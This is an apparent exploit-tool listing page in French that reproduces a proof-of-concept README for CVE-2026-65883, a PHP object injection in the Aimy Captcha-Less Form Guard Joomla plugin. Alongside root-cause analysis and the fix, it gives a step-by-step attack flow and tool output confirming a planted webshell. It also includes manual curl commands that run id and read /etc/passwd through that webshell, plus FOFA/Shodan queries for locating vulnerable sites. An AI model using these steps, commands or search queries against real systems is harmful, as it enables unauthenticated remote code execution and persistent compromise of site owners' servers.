Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-65883 — Aimy Captcha-Less Form Guard Composant Joomla Injection d'objets PHP RCE. clfgd récupération de keystream XOR + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1 | Kitploit
Outils/GitHubGitHub/shinthink/cve-2026-65883
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionRed Teaming
GitHubshinthink/cve-2026-65883

CVE-2026-65883

Aimy Captcha-Less Form Guard Composant Joomla Injection d'objets PHP RCE. clfgd récupération de keystream XOR + unserialize(). CVSS 10.0 | CWE-502 | aimy_captcha-less_form_guard < 20.1

Voir le dépôt
45il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Python CVE CVSS License

CVE-2026-65883 — Aimy Captcha-Less Form Guard <= 20.0

Champ clfgd → Récupération XOR → unserialize() → FormattedtextLogger → RCE


Aperçu

Injection d'objets PHP non authentifiée dans Aimy Captcha-Less Form Guard pour Joomla. La méthode onCheckAnswer() décode en base64 le champ POST clfgd contrôlé par l'attaquant, le soumet à un XOR à clé répétitive, puis transmet le résultat directement à — .

unserialize()
ni HMAC, ni restriction allowed_classes, ni contrôle d'intégrité
ChampDétail
CVECVE-2026-65883
ProduitAimy Captcha-Less Form Guard (plugin Joomla)
CVSS 4.010.0 (Critique)
TypeCWE-502 — Déserialisation de données non fiables
Versions concernées18.0 — 20.0
Corrigé20.1 (29 juillet 2026)
DécouvertValentin Lobstein (Chocapikk) / VulnCheck — 26 juillet 2026

Versions concernées

StatutVersion
Vulnérable18.0 — 20.0
Corrigé20.1 (29 juillet 2026)

Mécanisme de la vulnérabilité

Cause racine

La méthode onCheckAnswer() du plugin plg_captcha_aimycaptchalessformguard transmet directement l'entrée contrôlée par l'attaquant à unserialize() :

root@kitploit:~
// onCheckAnswer() — pre-20.1
$cld = false;
if (($clfgd = $input->get('clfgd', '', 'RAW'))) {
    $cld = @unserialize(
        XorHelper::crypt( base64_decode($clfgd), self::getXorKey() )
    );
}

Le « chiffrement » XOR est un chiffre de Vigenère avec une clé par session — pas d'authentification, seulement de l'obfuscation.

Le chiffrement défaillant

root@kitploit:~
// XorHelper::crypt() — repeating-key XOR, period 231
static public function crypt($bytes, $key) {
    $ekey = str_split(self::getHashedKey($key));  // sha512.sha256.sha1 = 232 hex
    $s    = str_split(strVal($bytes));
    $klen = count($ekey);
    for ($i = 0; $i < count($s); $i++) {
        $val .= $s[$i] ^ $ekey[$i % ($klen - 1)];  // period 231
    }
    return $val;
}

Récupération du flux de clé

Le plugin restitue à la fois le texte chiffré et le texte clair dans la même réponse HTML :

root@kitploit:~
// onDisplay()
$cld->trap_ids = array($id, $trap_id);      // readable from HTML
$cld->mt       = time() + 7;                 // known (server time + 7s)
$html .= '<input name="clfgd" value="'
      . base64_encode(XorHelper::crypt(serialize($cld), $key))
      . '" />';

Étant donné que trap_ids (extractible depuis le <span id="..._mark"> et l'entrée honeypot) et le texte chiffré sont tous deux présents dans le HTML, leur XOR permet de récupérer ~94 octets du flux de clé de 231 octets.

Déroulement de l'attaque

  1. GET n'importe quel formulaire protégé par captcha (inscription, connexion, contact, réinitialisation de mot de passe)
  2. Extraire le texte chiffré clfgd + trap_ids + le minutage → récupérer 94 octets du flux de clé
  3. Aligner un objet sérialisé FormattedtextLogger de sorte que les octets structurels tombent sur des positions connues du flux de clé
  4. POST un clfgd forgé → unserialize() → __destruct() → formatLine() → écrit un webshell PHP
  5. GET /random.php?c=id → RCE en tant que www-data

Preuve de concept

Cible unique

root@kitploit:~
$ python cve_2026_65883.py -t target.com

  Target      : target.com
  Status      : Aimy Captcha-Less Form Guard v20.0
  Form        : /index.php?option=com_users&view=registration
  Keystream   : 94 bytes recovered
  Shell       : a1b2c3d4e5.php
  Gadget      : 1460 bytes
  POST        : HTTP 303
  Shell URL   : https://target.com/a1b2c3d4e5.php
  RCE         : CONFIRMED!

RCE ACHIEVED!
  https://target.com/a1b2c3d4e5.php?c=id

Exploitation manuelle

root@kitploit:~
# Step 1 — Get form + recover keystream
curl -sk "https://target.com/index.php?option=com_users&view=registration" \
  | grep -oP 'clfgd" value="\K[^"]+' | base64 -d > /tmp/ct.bin

# Step 2 — Build FormattedtextLogger gadget + XOR encrypt
python cve_2026_65883.py -t target.com -c "id"

# Step 3 — Access webshell
curl -sk "https://target.com/a1b2c3d4e5.php?c=cat+/etc/passwd"

FOFA / Shodan

root@kitploit:~
# Aimy Captcha hidden field
body="clfgd" && body="Joomla"

# Plugin version disclosure
body="aimycaptchalessformguard"

# Shodan
http.html:"clfgd" http.component:"Joomla"

Le correctif (20.1)

root@kitploit:~
// 20.0 (vulnerable)
$cld = @unserialize( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

// 20.1 (fixed)
$cld = @json_decode( XorHelper::crypt( base64_decode($clfgd), self::getXorKey() ) );

json_decode() ne peut pas instancier d'objets PHP — la chaîne de gadgets POP est rompue.


Impact

  • RCE complète — exécuter des commandes arbitraires en tant que www-data
  • Aucune authentification requise — tout formulaire public avec captcha est un vecteur d'attaque
  • Joomla 3.9–5.2.1 — le gadget FormattedtextLogger fonctionne sur toutes les versions
  • Persistant — le webshell demeure jusqu'à sa suppression manuelle

Avis de non-responsabilité

Cet outil est destiné uniquement aux tests de sécurité éducatifs et autorisés. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.


Références

RessourceLien
VulnCheck Blogvulncheck.com/blog/aimy-captcha-less-form-guard-object-injection
IONIX Threat Centerionix.io/threat-center/cve-2026-65883
Fiche CVEcve.org/CVERecord?id=CVE-2026-65883
NVDnvd.nist.gov/vuln/detail/CVE-2026-65883

Non affilié à Aimy Extensions ni à VulnCheck.

Télécharger l’outil